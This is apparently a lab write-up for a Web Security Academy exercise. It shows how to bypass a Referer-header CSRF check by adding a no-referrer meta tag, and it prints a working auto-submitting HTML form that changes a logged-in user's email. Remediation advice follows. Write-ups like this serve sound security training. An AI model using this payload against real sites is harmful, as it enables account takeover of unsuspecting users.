SCENARIO

The application consists of an email change functionality which is vulnerable to CSRF as it attempts to detect and block cross domain requests, but the detection mechanism can be bypassed. We will try to mount an exploit and deliver it to the target with the help of an exploit server in order to get the credentials of the target.

**PROCEDURE**

1. Open the web application and login with the given credentials to act as an user.
2. Now make an email change request using the browser itself and study the request and response.
3. Notice that if we delete the referrer header completely then the request still gets accepted and rejected if we change it to some other value using the BurpSuite’s Repeater.
4. Now use the Engagement tools from BurpSuite’s Repeater and generate CSRF PoC using it and add auto submit as true.
5. Then in order to remove Referrer header completely we need to add the Payload 1 to the present PoC.
6. Go to the exploit server and paste the Payload 2 into the body tag of the exploit and click store.
7. At the end, click the button to deliver the exploit.

**PAYLOAD**

1. <meta name="referrer" content="no-referrer">
2. <html>

<!-- CSRF PoC - generated by Burp Suite Professional -->

<body>

<meta name="referrer" content="no-referrer">

<script>history.pushState('', '', '/')</script>

<form action="https://0a5f00cd03795d9b808526f000ba0054.web-security-academy.net/my-account/change-email" method="POST">

<input type="hidden" name="email" value="wienesasasr&#64;normal&#45;user&#46;net" />

<input type="submit" value="Submit request" />

</form>

<script>

document.forms[0].submit();

</script>

</body>

</html>

**REMEDIATION**

1. **Mandatory CSRF Token Implementation:** Always enforce the presence of a strong, unpredictable CSRF token for every state-changing request, irrespective of the request method. If the token is either absent or invalid, the request should be outrightly rejected. By doing so, even if an attacker manages to send a request from a different domain, they would not possess the valid token required for the action to succeed.
2. **Referrer Header Validation:** Rather than blocking requests without a referrer header, introduce stringent checks to validate the referrer against a whitelist of trusted domains. This ensures that requests originate only from trusted sources. A strict approach can prevent attackers from manipulating or removing the referrer to bypass security checks.
3. **Content Security Policy (CSP):** Implement a strict Content Security Policy that restricts the sources from which content can be loaded. This can help in preventing malicious content from being executed as a part of the web page, further protecting against CSRF and other cross-origin attacks.